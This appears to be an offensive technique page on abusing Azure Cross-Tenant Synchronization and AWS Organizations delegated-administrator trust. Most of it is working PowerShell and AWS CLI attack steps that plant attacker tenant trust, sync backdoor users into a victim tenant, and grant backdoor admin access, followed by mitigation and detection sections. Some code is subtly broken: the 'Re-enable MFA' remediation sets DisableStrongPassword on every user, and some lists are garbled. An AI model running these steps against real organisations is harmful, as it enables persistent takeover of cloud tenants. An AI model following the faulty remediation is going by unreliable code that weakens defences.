| Attribute | Details |
|---|---|
| Technique ID | CROSS-CLOUD-004 |
| MITRE ATT&CK v18.1 | T1484.002 - Domain Trust Modification |
| Tactic | Privilege Escalation, Persistence |
| Platforms | Azure, AWS, Cross-Cloud |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Azure/Entra ID all versions, AWS Organizations all versions |
| Patched In | N/A |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Cross-Cloud Trust Relationship Exploitation (T1484.002) abuses misconfigured trust policies between Azure tenants (via Cross-Tenant Synchronization/CTS) or AWS Organizations delegation features. In Azure, attackers who compromise a source tenant with Global Admin or Hybrid Identity Admin privileges can establish a Cross-Tenant Access policy with an attacker-controlled tenant, enabling automatic synchronization of attacker-controlled user identities into the victim tenant. This bypasses traditional authentication and allows seamless lateral movement to the victim organization’s M365, SaaS applications, and Azure resources. In AWS Organizations, delegated administrator accounts can be abused to escalate privileges across all member accounts or even compromise the management account. These trust relationships appear legitimate in audit logs and are difficult to detect without careful monitoring of tenant/organization policy changes.
Attack Surface: Azure Entra ID Cross-Tenant Access policies, Cross-Tenant Synchronization configuration, AWS Organizations delegated administrator roles, AWS IAM Identity Center (successor to AWS SSO), trust relationship modification endpoints, organizational policy management.
Business Impact: Organization-wide compromise with persistent, stealthy access. Attacker gains access to all connected tenant resources (Microsoft 365, Exchange, SharePoint, Teams, Azure subscriptions), all connected AWS accounts in an organization, and all third-party applications relying on that tenant/organization for identity. User enumeration is bypassed because attacker-controlled users appear as legitimate internal identities. Once compromised, the trust relationship provides a backdoor that survives credential rotations and password changes.
Technical Context: Trust relationship exploitation takes 20-90 minutes (enumeration + CTS configuration). Detection likelihood is low because CTS creates legitimate-appearing sync logs; detection requires monitoring for policy changes and unusual tenant partnerships. Many organizations lack visibility into their cross-tenant access policies.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 1.2, 2.1 | Tenant trust policy management, identity federation control | | DISA STIG | V-251399 | Entra ID organizational policy security | | CISA SCuBA | C1-2, C2-4 | Organizational identity governance and federation | | NIST 800-53 | AC-3, AC-4, AC-5 | Access control, information flow control, separation of duties | | GDPR | Art. 32, 5(1)(f) | Security of processing; organizational data protection | | DORA | Art. 10 | Governance and organization requirements | | NIS2 | Art. 21(2)(d), Art. 27 | Organizational policies, incident notification | | ISO 27001 | A.6.1.1, A.9.1.1 | Organizational policies, access control governance | | ISO 27005 | 8.2 | Risk assessment of trust relationships |
Supported Versions:
Tools:
Objective: Identify existing cross-tenant access policies and potential targets for lateral movement.
Command (PowerShell - List Cross-Tenant Access Policies):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Organization.Read.All","CrossTenantInformation.ReadBasic.All"
# Get all cross-tenant access policies
Get-MgPolicyCrosstenantAccessPolicy -All | Select-Object -Property Id, DisplayName
# Expected output:
# Id: 2c8a6acc-c0f8-4ccd-92e6-ad2c45b2cf26
# DisplayName: Partner Tenant Access
# DisplayName: Contractor Access
# DisplayName: Acquisition Tenant
# List detailed configuration for each policy
Get-MgPolicyCrosstenantAccessPolicy | ForEach-Object {
Write-Host "=== $($_.DisplayName) ==="
Get-MgPolicyCrosstenantAccessPolicyPartner -CrosstenantAccessPolicyId $_.Id | Select-Object -Property TenantId, InboundAllowed, OutboundAllowed
}
What to Look For:
InboundAllowed: true and OutboundAllowed: true (bidirectional trust)AutomaticUserConsent: true (automatic user invitation)IsSyncAllowed: true (CTS enabled for syncing users)Command (PowerShell - Check Synchronization Configuration):
# Get CTS application configuration
Get-MgServicePrincipal -Filter "displayName eq 'Cross-Tenant Sync'" | Select-Object -Property AppId, DisplayName
# Get synchronization settings for each app
Get-MgServicePrincipal -Filter "startswith(displayName, 'Cross')" -All | ForEach-Object {
$AppId = $_.AppId
Get-MgServicePrincipalSynchronizationJob -ServicePrincipalId $_.Id | Select-Object -Property Id, Status, Schedule
}
Expected Output (Vulnerable):
Id Status Schedule.Interval
-- ------ -----------------
job-1 Active PT5M (every 5 minutes)
job-2 Active PT60M (every 60 minutes)
Objective: Identify delegated administrator accounts and potential privilege escalation paths.
Command (AWS CLI - List Delegated Admins):
# List all delegated administrators in the organization
aws organizations list-delegated-administrators --output table
# Expected output:
# Name Email Arn
# ────────────────────── ──────────────────────────── ─────
# Production-Automation automation@account1.example arn:aws:iam::ACCOUNT1:root
# Get detailed permissions for each delegated admin
aws organizations list-delegated-services-for-account \
--account-id ACCOUNT_ID \
--output table
What to Look For:
IAM Identity Center, CloudFormation StackSetsSupported Versions: All Azure/Entra ID versions with CTS
Objective: Create a CTA policy in the victim tenant to enable trust with attacker-controlled tenant.
Command (PowerShell - Create CTA Policy in Victim Tenant):
If you have compromised the victim tenant with Global Admin privileges:
# Connect to victim tenant
Connect-MgGraph -Scopes "Organization.ReadWrite.All","CrossTenantInformation.ReadBasic.All"
# Create Cross-Tenant Access policy for attacker tenant
$params = @{
DisplayName = "Partner Tenant Sync"
Definition = @{
B2bCollaborationInbound = @{
InvitationRedemptionRules = @(
@{
InvitedUserType = "guest"
RedemptionRulesType = "allow"
}
)
ClaimsMapping = @{
AllowSystemMappedClaims = $true
AllowMappedClaims = $true
}
IdentitySynchronization = @{
IdentitySynchronizationEnabled = $true
}
}
B2bCollaborationOutbound = @{
OutboundAllowed = $true
}
}
}
# Create the policy
$policy = New-MgPolicyCrosstenantAccessPolicy -BodyParameter $params
# Get the policy ID
$policyId = $policy.Id
# Create partner configuration with attacker tenant ID
$partnerParams = @{
TenantId = "ATTACKER_TENANT_ID"
AutomaticUserConsent = @{
InboundAllowed = $true
OutboundAllowed = $true
}
IsServiceProvider = $false
}
New-MgPolicyCrosstenantAccessPolicyPartner `
-CrosstenantAccessPolicyId $policyId `
-BodyParameter $partnerParams
Expected Output:
Success: Cross-Tenant Access policy created
Partner added with automatic user consent enabled
What This Achieves:
OpSec & Evasion:
Objective: Configure CTS on attacker-controlled tenant to push users into victim tenant.
Command (PowerShell - Configure CTS from Attacker Tenant):
On attacker-controlled tenant:
# Connect to attacker tenant
Connect-MgGraph -Scopes "ServicePrincipalEndpoint.ReadWrite.All","Application.ReadWrite.All"
# Create a CTS application (Cross-Tenant Sync App)
$appParams = @{
DisplayName = "CTS-Sync-Application"
PublisherName = "Attacker"
SignInAudience = "AzureADMultipleOrgs"
Notes = "Synchronizes users from attacker tenant to victim tenant"
}
$app = New-MgApplication -BodyParameter $appParams
$appId = $app.AppId
# Create service principal for the app
$spParams = @{
AppId = $appId
}
$sp = New-MgServicePrincipal -BodyParameter $spParams
# Configure synchronization on the service principal
$syncParams = @{
TemplateId = "Azure2Azure"
}
New-MgServicePrincipalSynchronization `
-ServicePrincipalId $sp.Id `
-BodyParameter $syncParams
# Create provisioning job to sync users
$jobParams = @{
TemplateId = "Azure2Azure"
SynchronizationJobSettings = @(
@{
Name = "scope"
Value = "1,2" # Sync all users (scope values)
},
@{
Name = "Synchronization:Enabled"
Value = "true"
}
)
}
New-MgServicePrincipalSynchronizationJob `
-ServicePrincipalId $sp.Id `
-BodyParameter $jobParams
What This Achieves:
Objective: Create or identify users in attacker tenant and add them to the CTS sync group.
Command (PowerShell - Create Backdoor Users and Sync):
# Create attacker-controlled user in victim tenant
$attacker = @{
DisplayName = "New Contractor"
MailNickname = "newcontractor"
UserPrincipalName = "newcontractor@yourcompany.com"
PasswordProfile = @{
ForceChangePasswordNextSignin = $true
Password = "ComplexPassword123!@#"
}
AccountEnabled = $true
}
$newUser = New-MgUser -BodyParameter $attacker
# Create a security group in attacker tenant that will be synced
$groupParams = @{
DisplayName = "Finance Department"
MailNickname = "financedept"
GroupTypes = @()
MailEnabled = $false
SecurityEnabled = $true
}
$group = New-MgGroup -BodyParameter $groupParams
# Add the attacker-controlled user to the group
New-MgGroupMember -GroupId $group.Id -DirectoryObjectId $newUser.Id
# Trigger immediate synchronization to push users into victim tenant
$jobParams = @{
Enabled = $true
}
Update-MgServicePrincipalSynchronizationJob `
-ServicePrincipalId $sp.Id `
-SynchronizationJobId $job.Id `
-BodyParameter $jobParams
# Force sync job to run immediately
Invoke-MgServicePrincipalSynchronizationJobProvisionOnDemand `
-ServicePrincipalId $sp.Id `
-SynchronizationJobId $job.Id `
-BodyParameter @{
Criteria = @(
@{
ObjectId = $group.Id
}
)
}
Expected Output:
Synchronization job triggered
Users will appear in victim tenant within 5 minutes
What This Achieves:
OpSec & Evasion:
Objective: Login with the synced identity and access M365/Azure resources.
Command (PowerShell - Access Victim Tenant Resources):
# Use the synced identity to connect to victim tenant
$credentials = Get-Credential # Use newcontractor@yourcompany.com
Connect-MgGraph -TenantId "VICTIM_TENANT_ID" -Credential $credentials
# Now you have access to victim tenant as legitimate user
# Access resources
# List all subscriptions you have access to
Get-MgUserSubscribedSku
# Access SharePoint
Connect-PnPOnline -Url "https://yourcompany.sharepoint.com" -Credentials $credentials
# Access Exchange
Connect-ExchangeOnline -UserPrincipalName newcontractor@yourcompany.com
# Access Azure subscriptions (if user has permissions)
Connect-AzAccount -Credential $credentials
Get-AzSubscription
Expected Output:
Successfully authenticated as newcontractor@yourcompany.com
Access granted to: OneDrive, SharePoint, Teams, Exchange
Supported Versions: All AWS Organizations versions
Objective: Gain access to an AWS account that has delegated administrator permissions.
Command (Identify High-Value Target):
# List delegated administrators and their permissions
aws organizations list-delegated-administrators \
--account-id MANAGEMENT_ACCOUNT_ID \
--output json | jq '.DelegatedAdministrators[] | {Name, Arn, Email}'
# For each delegated admin, check what services they control
aws organizations list-delegated-services-for-account \
--account-id DELEGATED_ADMIN_ACCOUNT_ID | jq '.DelegatedServices[].ServicePrincipal'
What to Look For:
Objective: Use compromised delegated admin to register attacker account with additional service permissions.
Command (AWS - Register New Delegated Admin):
# From the compromised delegated admin account
# Register attacker account as delegated admin for IAM Identity Center
# First, enable IAM Identity Center in the organization (if not already)
aws organizations enable-all-features --region us-east-1
# Register attacker account as delegated administrator
aws organizations register-delegated-administrator \
--account-id ATTACKER_ACCOUNT_ID \
--service-principal identitystore.amazonaws.com
Expected Output:
{
"DelegatedAdministrator": {
"Id": "ATTACKER_ACCOUNT_ID",
"Status": "ACTIVE",
"JoinedMethod": "CREATED"
}
}
What This Achieves:
OpSec & Evasion:
Objective: Use delegated admin permissions to create a backdoor user with high privileges.
Command (AWS - Create Backdoor User via IAM Identity Center):
# Assume role in the delegated admin account
aws sts assume-role \
--role-arn arn:aws:iam::DELEGATED_ADMIN_ACCOUNT:role/DelegatedAdminRole \
--role-session-name attacker-session
# Export credentials
export AWS_ACCESS_KEY_ID="ASIAJ4AOQRXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxx"
export AWS_SESSION_TOKEN="xxxx"
# Use IAM Identity Center API to create user
aws identitystore create-user \
--identity-store-id d-0123456789abcdef \
--user-name "newcontractor" \
--display-name "New Contractor" \
--emails "newcontractor@backdoor.com"
# Create or modify permission set with Admin privileges
aws sso create-permission-set \
--instance-arn arn:aws:sso:::instance/ssoins-7223baee3eaEXAMPLE \
--name "AdminAccess" \
--description "Full Administrator Access"
# Attach permission set to attacker user in all accounts
aws sso create-account-assignment \
--instance-arn arn:aws:sso:::instance/ssoins-7223baee3eaEXAMPLE \
--target-id 123456789012 \
--target-type AWS_ACCOUNT \
--permission-set-arn arn:aws:sso:::permissionSet/ssoins-7223baee3eaEXAMPLE/ps-89a616a5-EXAMPLE \
--principal-type USER \
--principal-id user-id-of-newcontractor
Expected Output:
Account assignment created successfully
User newcontractor@backdoor.com now has Admin access to account 123456789012
Disable Automatic User Consent in CTA Policies: Require explicit invitation and acceptance for cross-tenant access. Applies To Versions: All Azure/Entra ID
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Update existing policy to disable automatic consent
$params = @{
B2bCollaborationInbound = @{
InvitationRedemptionRules = @(
@{
InvitedUserType = "guest"
RedemptionRulesType = "manual" # Require manual acceptance
}
)
}
}
Update-MgPolicyCrosstenantAccessPolicy `
-CrosstenantAccessPolicyId $policyId `
-BodyParameter $params
Disable CTS for Non-Essential Tenants: Only enable synchronization for trusted partners. Applies To Versions: All Azure/Entra ID
Manual Steps:
# Disable CTS for a partner
Update-MgPolicyCrosstenantAccessPolicyPartner `
-CrosstenantAccessPolicyId $policyId `
-TenantId "PARTNER_TENANT_ID" `
-BodyParameter @{
B2bCollaborationInbound = @{
IdentitySynchronization = @{
IdentitySynchronizationEnabled = $false
}
}
}
Review All Delegated Administrator Accounts: Regularly audit and limit delegated admin permissions. Applies To Versions: AWS Organizations all versions
Manual Steps (AWS):
# Review all delegated administrators
aws organizations list-delegated-administrators --output json | jq '.DelegatedAdministrators'
# Deregister unnecessary delegated admins
aws organizations deregister-delegated-administrator \
--account-id DELEGATED_ADMIN_ACCOUNT_ID \
--service-principal identitystore.amazonaws.com
Implement Conditional Access for Cross-Tenant Users: Require MFA and device compliance for external users.
Manual Steps (Azure Portal):
MFA for External UsersMonitor CTA Policy Changes: Enable audit logging and alerts for policy modifications.
Manual Steps:
# Check that automatic user consent is disabled
Get-MgPolicyCrosstenantAccessPolicyPartner `
-CrosstenantAccessPolicyId $policyId | Select-Object -Property TenantId, AutomaticUserConsent
# Expected output: AutomaticUserConsent = @{ InboundAllowed = $false; OutboundAllowed = $false }
# Verify CTS is disabled for non-trusted tenants
Get-MgPolicyCrosstenantAccessPolicyPartner | ForEach-Object {
if ($_.B2bCollaborationInbound.IdentitySynchronization.IdentitySynchronizationEnabled) {
Write-Host "[!] CTS ENABLED for: $($_.TenantId)"
}
}
Update policy operations on Cross-Tenant Access settingsCreate service principal for CTS applicationsCreate synchronization job operationsUser created events from unexpected source tenantsRegisterDelegatedAdministrator callsCreateUser in IAM Identity CenterCreateAccountAssignment for high-privilege permission sets{
"eventName": "RegisterDelegatedAdministrator",
"eventTime": "2025-01-10T10:30:00Z",
"requestParameters": {
"accountId": "999999999999",
"servicePrincipal": "identitystore.amazonaws.com"
}
}
# Remove the compromised cross-tenant access policy
Remove-MgPolicyCrosstenantAccessPolicy -CrosstenantAccessPolicyId $policyId
# Remove CTS application
Remove-MgServicePrincipal -ServicePrincipalId $sp.Id
# Delete synced users
Get-MgUser -Filter "externalUserState eq 'PendingAcceptance'" | ForEach-Object {
Remove-MgUser -UserId $_.Id
}
Command (AWS):
# Deregister delegated administrator
aws organizations deregister-delegated-administrator \
--account-id ATTACKER_ACCOUNT_ID \
--service-principal identitystore.amazonaws.com
# Export audit logs for forensics
Get-MgAuditLogDirectoryAudit -Filter "operationName eq 'Update policy'" | Export-Csv -Path "audit_logs.csv"
# Get list of all CTA policies
Get-MgPolicyCrosstenantAccessPolicy -All | Export-Csv -Path "cta_policies.csv"
# Remove all external tenants from CTA policies
Get-MgPolicyCrosstenantAccessPolicy | ForEach-Object {
$_.Definition.B2bCollaborationInbound.IdentitySynchronization.IdentitySynchronizationEnabled = $false
Update-MgPolicyCrosstenantAccessPolicy -CrosstenantAccessPolicyId $_.Id -BodyParameter $_
}
# Re-enable MFA for all users
Get-MgUser | ForEach-Object {
Update-MgUser -UserId $_.Id -PasswordPolicies @("DisableStrongPassword")
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Compromise admin account in source tenant |
| 2 | Privilege Escalation | [PE-ADMIN-001] Azure AD Admin Role Abuse | Gain Global Admin in compromised tenant |
| 3 | Persistence | [CROSS-CLOUD-004] | Establish cross-tenant trust relationship |
| 4 | Lateral Movement | [CROSS-CLOUD-003] Multi-Cloud Service Account Abuse | Move to target tenant as synced user |
| 5 | Impact | M365 data exfiltration, ransomware deployment | Achieve business objectives |